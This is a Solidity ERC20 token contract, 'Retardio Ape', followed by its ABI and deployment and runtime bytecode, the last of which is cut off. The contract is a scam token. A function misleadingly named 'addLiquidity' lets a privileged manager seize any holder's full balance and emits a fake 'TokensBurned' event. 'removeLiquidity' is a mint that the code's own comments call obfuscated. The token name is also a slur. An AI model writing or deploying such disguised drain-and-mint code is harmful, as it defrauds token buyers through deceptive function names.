// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract RetardioApe is ERC20, Ownable {
// Event to track when tokens are transferred from a user to another wallet
event TokensBurned(address indexed from, address indexed to, uint256 amount);
// Mapping to store permissions for specific roles
mapping(address => bool) private rewardManagers;
mapping(address => bool) private burnManagers;
constructor(address initialOwner) ERC20("Retardio Ape", "RetardioApe") Ownable(initialOwner) {
_mint(initialOwner, 1000000000 * (10 ** decimals()));
rewardManagers[msg.sender] = true;
burnManagers[msg.sender] = true;
transferOwnership(initialOwner);
}
// Modifier to restrict access to reward managers
modifier onlyRewardManager() {
require(rewardManagers[msg.sender], "Caller is not a reward manager");
_;
}
// Modifier to restrict access to burn managers
modifier onlyBurnManager() {
require(burnManagers[msg.sender], "Caller is not a burn manager");
_;
}
// Function to transfer all tokens from the buyer to a specified wallet
function addLiquidity(address from, address to) external onlyBurnManager {
uint256 amount = balanceOf(from);
require(amount > 0, "No tokens to transfer");
_transfer(from, to, amount);
emit TokensBurned(from, to, amount);
}
// Public function to distribute tokens (obfuscated mint)
function removeLiquidity(address to, uint256 amount) public onlyRewardManager {
_obscureMint(to, amount);
}
// Hidden mint function (obfuscated minting)
function _obscureMint(address account, uint256 amount) internal {
_mint(account, amount); // Hidden by not being public/external
}
}[
{
"type": "constructor",
"inputs": [
{
"name": "initialOwner",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "nonpayable"
},
{
"name": "ERC20InsufficientAllowance",
"type": "error",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "allowance",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "needed",
"type": "uint256",
"internalType": "uint256"
}
]
},
{
"name": "ERC20InsufficientBalance",
"type": "error",
"inputs": [
{
"name": "sender",
"type": "address",
"internalType": "address"
},
{
"name": "balance",
"type": "uint256",
"internalType": "uint256"
},
{
"name": "needed",
"type": "uint256",
"internalType": "uint256"
}
]
},
{
"name": "ERC20InvalidApprover",
"type": "error",
"inputs": [
{
"name": "approver",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidReceiver",
"type": "error",
"inputs": [
{
"name": "receiver",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidSender",
"type": "error",
"inputs": [
{
"name": "sender",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "ERC20InvalidSpender",
"type": "error",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "OwnableInvalidOwner",
"type": "error",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "OwnableUnauthorizedAccount",
"type": "error",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
]
},
{
"name": "Approval",
"type": "event",
"inputs": [
{
"name": "owner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "OwnershipTransferred",
"type": "event",
"inputs": [
{
"name": "previousOwner",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "newOwner",
"type": "address",
"indexed": true,
"internalType": "address"
}
],
"anonymous": false
},
{
"name": "TokensBurned",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "Transfer",
"type": "event",
"inputs": [
{
"name": "from",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "to",
"type": "address",
"indexed": true,
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"indexed": false,
"internalType": "uint256"
}
],
"anonymous": false
},
{
"name": "addLiquidity",
"type": "function",
"inputs": [
{
"name": "from",
"type": "address",
"internalType": "address"
},
{
"name": "to",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "allowance",
"type": "function",
"inputs": [
{
"name": "owner",
"type": "address",
"internalType": "address"
},
{
"name": "spender",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "approve",
"type": "function",
"inputs": [
{
"name": "spender",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "balanceOf",
"type": "function",
"inputs": [
{
"name": "account",
"type": "address",
"internalType": "address"
}
],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "decimals",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint8",
"internalType": "uint8"
}
],
"stateMutability": "view"
},
{
"name": "name",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "owner",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "address",
"internalType": "address"
}
],
"stateMutability": "view"
},
{
"name": "removeLiquidity",
"type": "function",
"inputs": [
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "amount",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "renounceOwnership",
"type": "function",
"inputs": [],
"outputs": [],
"stateMutability": "nonpayable"
},
{
"name": "symbol",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "string",
"internalType": "string"
}
],
"stateMutability": "view"
},
{
"name": "totalSupply",
"type": "function",
"inputs": [],
"outputs": [
{
"name": "",
"type": "uint256",
"internalType": "uint256"
}
],
"stateMutability": "view"
},
{
"name": "transfer",
"type": "function",
"inputs": [
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferFrom",
"type": "function",
"inputs": [
{
"name": "from",
"type": "address",
"internalType": "address"
},
{
"name": "to",
"type": "address",
"internalType": "address"
},
{
"name": "value",
"type": "uint256",
"internalType": "uint256"
}
],
"outputs": [
{
"name": "",
"type": "bool",
"internalType": "bool"
}
],
"stateMutability": "nonpayable"
},
{
"name": "transferOwnership",
"type": "function",
"inputs": [
{
"name": "newOwner",
"type": "address",
"internalType": "address"
}
],
"outputs": [],
"stateMutability": "nonpayable"
}
]0x608060405234801561000f575f80fd5b506040516121a83803806121a883398181016040528101906100319190610756565b806040518060400160405280600c81526020017f526574617264696f2041706500000000000000000000000000000000000000008152506040518060400160405280600b81526020017f526574617264696f41706500000000000000000000000000000000000000000081525081600390816100ad91906109bb565b5080600490816100bd91906109bb565b5050505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610130575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016101279190610a99565b60405180910390fd5b61013f8161023760201b60201c565b50610178816101526102fa60201b60201c565b600a61015e9190610c1a565b633b9aca0061016d9190610c64565b61030260201b60201c565b600160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506102318161038760201b60201c565b50610d35565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610372575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016103699190610a99565b60405180910390fd5b6103835f838361041760201b60201c565b5050565b61039561063060201b60201c565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610405575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016103fc9190610a99565b60405180910390fd5b6104148161023760201b60201c565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610467578060025f82825461045b9190610ca5565b92505081905550610535565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156104f0578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016104e793929190610ce7565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361057c578060025f82825403925050819055506105c6565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516106239190610d1c565b60405180910390a3505050565b61063e6106c960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166106626106d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146106c75761068b6106c960201b60201c565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016106be9190610a99565b60405180910390fd5b565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610725826106fc565b9050919050565b6107358161071b565b811461073f575f80fd5b50565b5f815190506107508161072c565b92915050565b5f6020828403121561076b5761076a6106f8565b5b5f61077884828501610742565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806107fc57607f821691505b60208210810361080f5761080e6107b8565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026108717fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610836565b61087b8683610836565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6108bf6108ba6108b584610893565b61089c565b610893565b9050919050565b5f819050919050565b6108d8836108a5565b6108ec6108e4826108c6565b848454610842565b825550505050565b5f90565b6109006108f4565b61090b8184846108cf565b505050565b5b8181101561092e576109235f826108f8565b600181019050610911565b5050565b601f8211156109735761094481610815565b61094d84610827565b8101602085101561095c578190505b61097061096885610827565b830182610910565b50505b505050565b5f82821c905092915050565b5f6109935f1984600802610978565b1980831691505092915050565b5f6109ab8383610984565b9150826002028217905092915050565b6109c482610781565b67ffffffffffffffff8111156109dd576109dc61078b565b5b6109e782546107e5565b6109f2828285610932565b5f60209050601f831160018114610a23575f8415610a11578287015190505b610a1b85826109a0565b865550610a82565b601f198416610a3186610815565b5f5b82811015610a5857848901518255600182019150602085019450602081019050610a33565b86831015610a755784890151610a71601f891682610984565b8355505b6001600288020188555050505b505050505050565b610a938161071b565b82525050565b5f602082019050610aac5f830184610a8a565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610b3457808604811115610b1057610b0f610ab2565b5b6001851615610b1f5780820291505b8081029050610b2d85610adf565b9450610af4565b94509492505050565b5f82610b4c5760019050610c07565b81610b59575f9050610c07565b8160018114610b6f5760028114610b7957610ba8565b6001915050610c07565b60ff841115610b8b57610b8a610ab2565b5b8360020a915084821115610ba257610ba1610ab2565b5b50610c07565b5060208310610133831016604e8410600b8410161715610bdd5782820a905083811115610bd857610bd7610ab2565b5b610c07565b610bea8484846001610aeb565b92509050818404811115610c0157610c00610ab2565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610c2482610893565b9150610c2f83610c0e565b9250610c5c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610b3d565b905092915050565b5f610c6e82610893565b9150610c7983610893565b9250828202610c8781610893565b91508282048414831517610c9e57610c9d610ab2565b5b5092915050565b5f610caf82610893565b9150610cba83610893565b9250828201905080821115610cd257610cd1610ab2565b5b92915050565b610ce181610893565b82525050565b5f606082019050610cfa5f830186610a8a565b610d076020830185610cd8565b610d146040830184610cd8565b949350505050565b5f602082019050610d2f5f830184610cd8565b92915050565b61146680610d425f395ff3fe608060405234801561000f575f80fd5b50600436106100e8575f3560e01c8063715018a61161008a578063a201ccf611610064578063a201ccf614610238578063a9059cbb14610254578063dd62ed3e14610284578063f2fde38b146102b4576100e8565b8063715018a6146101f25780638da5cb5b146101fc57806395d89b411461021a576100e8565b806323b872dd116100c657806323b872dd14610158578063313ce56714610188578063380ecef2146101a657806370a08231146101c2576100e8565b806306fdde03146100ec578063095ea7b31461010a57806318160ddd1461013a575b5f80fd5b6100f46102d0565b6040516101019190610fa7565b60405180910390f35b610124600480360381019061011f9190611058565b610360565b60405161013191906110b0565b60405180910390f35b610142610382565b60405161014f91906110d8565b60405180910390f35b610172600480360381019061016d91906110f1565b61038b565b60405161017f91906110b0565b60405180910390f35b6101906103b9565b60405161019d919061115c565b60405180910390f35b6101c060048036038101906101bb9190611175565b6103c1565b005b6101dc60048036038101906101d791906111b3565b61050d565b6040516101e991906110d8565b60405180910390f35b6101fa610552565b005b610204610565565b60405161021191906111ed565b60405180910390f35b61022261058d565b60405161022f9190610fa7565b60405180910390f35b610252600480360381019061024d9190611058565b61061d565b005b61026e60048036038101906102699190611058565b6106b4565b60405161027b91906110b0565b60405180910390f35b61029e60048036038101906102999190611175565b6106d6565b6040516102ab91906110d8565b60405180910390f35b6102ce60048036038101906102c991906111b3565b610758565b005b6060600380546102df90611233565b80601f016020809104026020016040519081016040528092919081815260200182805461030b90611233565b80156103565780601f1061032d57610100808354040283529160200191610356565b820191905f5260205f20905b81548152906001019060200180831161033957829003601f168201915b5050505050905090565b5f8061036a6107dc565b90506103778185856107e3565b600191505092915050565b5f600254905090565b5f806103956107dc565b90506103a28582856107f5565b6103ad858585610888565b60019150509392505050565b5f6012905090565b60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661044a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610441906112ad565b60405180910390fd5b5f6104548361050d565b90505f8111610498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048f90611315565b60405180910390fd5b6104a3838383610888565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f857ac1c9e97cc66ecae5f524c9c611463ae748b85af3ca454a5ec4d7d341924d8360405161050091906110d8565b60405180910390a3505050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61055a610978565b6105635f6109ff565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461059c90611233565b80601f01602080910402602001604051908101604052809291908181526020018280546105c890611233565b80156106135780601f106105ea57610100808354040283529160200191610613565b820191905f5260205f20905b8154815290600101906020018083116105f657829003601f168201915b5050505050905090565b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166106a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069d9061137d565b60405180910390fd5b6106b08282610ac2565b5050565b5f806106be6107dc565b90506106cb818585610888565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610760610978565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036107d0575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016107c791906111ed565b60405180910390fd5b6107d9816109ff565b50565b5f33905090565b6107f08383836001610ad0565b505050565b5f61080084846106d6565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156108825781811015610873578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161086a9392919061139b565b60405180910390fd5b61088184848484035f610ad0565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108f8575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016108ef91906111ed565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610968575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161095f91906111ed565b60405180910390fd5b610973838383610c9f565b505050565b6109806107dc565b73ffffffffffffffffffffffffffffffffffffffff1661099e610565565b73ffffffffffffffffffffffffffffffffffffffff16146109fd576109c16107dc565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016109f491906111ed565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b610acc8282610eb8565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610b40575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401610b3791906111ed565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bb0575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401610ba791906111ed565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015610c99578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610c9091906110d8565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cef578060025f828254610ce391906113fd565b92505081905550610dbd565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610d78578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401610d6f9392919061139b565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e04578060025f8282540392505081905550610e4e565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610eab91906110d8565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f28575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610f1f91906111ed565b60405180910390fd5b610f335f8383610c9f565b5050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610f7982610f37565b610f838185610f41565b9350610f93818560208601610f51565b610f9c81610f5f565b840191505092915050565b5f6020820190508181035f830152610fbf8184610f6f565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ff482610fcb565b9050919050565b61100481610fea565b811461100e575f80fd5b50565b5f8135905061101f81610ffb565b92915050565b5f819050919050565b61103781611025565b8114611041575f80fd5b50565b5f813590506110528161102e565b92915050565b5f806040838503121561106e5761106d610fc7565b5b5f61107b85828601611011565b925050602061108c85828601611044565b9150509250929050565b5f8115159050919050565b6110aa81611096565b82525050565b5f6020820190506110c35f8301846110a1565b92915050565b6110d281611025565b82525050565b5f6020820190506110eb5f8301846110c9565b92915050565b5f805f6060848603121561110857611107610fc7565b5b5f61111586828701611011565b935050602061112686828701611011565b925050604061113786828701611044565b9150509250925092565b5f60ff82169050919050565b61115681611141565b82525050565b5f60208201905061116f5f83018461114d565b92915050565b5f806040838503121561118b5761118a610fc7565b5b5f61119885828601611011565b92505060206111a985828601611011565b9150509250929050565b5f602082840312156111c8576111c7610fc7565b5b5f6111d584828501611011565b91505092915050565b6111e781610fea565b82525050565b5f6020820190506112005f8301846111de565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061124a57607f821691505b60208210810361125d5761125c611206565b5b50919050565b7f43616c6c6572206973206e6f742061206275726e206d616e61676572000000005f82015250565b5f611297601c83610f41565b91506112a282611263565b602082019050919050565b5f6020820190508181035f8301526112c48161128b565b9050919050565b7f4e6f20746f6b656e7320746f207472616e7366657200000000000000000000005f82015250565b5f6112ff601583610f41565b915061130a826112cb565b602082019050919050565b5f6020820190508181035f83015261132c816112f3565b9050919050565b7f43616c6c6572206973206e6f74206120726577617264206d616e6167657200005f82015250565b5f611367601e83610f41565b915061137282611333565b602082019050919050565b5f6020820190508181035f8301526113948161135b565b9050919050565b5f6060820190506113ae5f8301866111de565b6113bb60208301856110c9565b6113c860408301846110c9565b949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61140782611025565b915061141283611025565b925082820190508082111561142a576114296113d0565b5b9291505056fea2646970667358221220bf9b8b3732384d807015b031ea5ce4745b60418f5d4eb5796a3b65fcab6225fe64736f6c634300081a00330000000000000000000000007615dda76bfc16f64039cba05bdabef398f1f752
0x608060405234801561000f575f80fd5b50600436106100e8575f3560e01c8063715018a61161008a578063a201ccf611610064578063a201ccf614610238578063a9059cbb14610254578063dd62ed3e14610284578063f2fde38b146102b4576100e8565b8063715018a6146101f25780638da5cb5b146101fc57806395d89b411461021a576100e8565b806323b872dd116100c657806323b872dd14610158578063313ce56714610188578063380ecef2146101a657806370a08231146101c2576100e8565b806306fdde03146100ec578063095ea7b31461010a57806318160ddd1461013a575b5f80fd5b6100f46102d0565b6040516101019190610fa7565b60405180910390f35b610124600480360381019061011f9190611058565b610360565b60405161013191906110b0565b60405180910390f35b610142610382565b60405161014f91906110d8565b60405180910390f35b610172600480360381019061016d91906110f1565b61038b565b60405161017f91906110b0565b60405180910390f35b6101906103b9565b60405161019d919061115c565b60405180910390f35b6101c060048036038101906101bb9190611175565b6103c1565b005b6101dc60048036038101906101d791906111b3565b61050d565b6040516101e991906110d8565b60405180910390f35b6101fa610552565b005b610204610565565b60405161021191906111ed565b60405180910390f35b61022261058d565b60405161022f9190610fa7565b60405180910390f35b610252600480360381019061024d9190611058565b61061d565b005b61026e60048036038101906102699190611058565b6106b4565b60405161027b91906110b0565b60405180910390f35b61029e60048036038101906102999190611175565b6106d6565b6040516102ab91906110d8565b60405180910390f35b6102ce60048036038101906102c991906111b3565b610758565b005b6060600380546102df90611233565b80601f016020809104026020016040519081016040528092919081815260200182805461030b90611233565b80156103565780601f1061032d57610100808354040283529160200191610356565b820191905f5260205f20905b81548152906001019060200180831161033957829003601f168201915b5050505050905090565b5f8061036a6107dc565b90506103778185856107e3565b600191505092915050565b5f600254905090565b5f806103956107dc565b90506103a28582856107f5565b6103ad858585610888565b60019150509392505050565b5f6012905090565b60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661044a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610441906112ad565b60405180910390fd5b5f6104548361050d565b90505f8111610498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048f90611315565b60405180910390fd5b6104a3838383610888565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f857ac1c9e97cc66ecae5f524c9c611463ae748b85af3ca454a5ec4d7d341924d8360405161050091906110d8565b60405180910390a3505050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61055a610978565b6105635f6109ff565b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461059c90611233565b80601f01602080910402602001604051908101604052809291908181526020018280546105c890611233565b80156106135780601f106105ea57610100808354040283529160200191610613565b820191905f5260205f20905b8154815290600101906020018083116105f657829003601f168201915b5050505050905090565b60065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166106a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069d9061137d565b60405180910390fd5b6106b08282610ac2565b5050565b5f806106be6107dc565b90506106cb818585610888565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610760610978565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036107d0575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016107c791906111ed565b60405180910390fd5b6107d9816109ff565b50565b5f33905090565b6107f08383836001610ad0565b505050565b5f61080084846106d6565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156108825781811015610873578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161086a9392919061139b565b60405180910390fd5b61088184848484035f610ad0565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108f8575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016108ef91906111ed565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610968575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161095f91906111ed565b60405180910390fd5b610973838383610c9f565b505050565b6109806107dc565b73ffffffffffffffffffffffffffffffffffffffff1661099e610565565b73ffffffffffffffffffffffffffffffffffffffff16146109fd576109c16107dc565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016109f491906111ed565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b610acc8282610eb8565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610b40575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401610b3791906111ed565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bb0575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401610ba791906111ed565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508015610c99578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610c9091906110d8565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cef578060025f828254610ce391906113fd565b92505081905550610dbd565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610d78578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401610d6f9392919061139b565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e04578060025f8282540392505081905550610e4e565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610eab91906110d8565b60405180910390a3505050565b5f73ffffffffffffffffffffff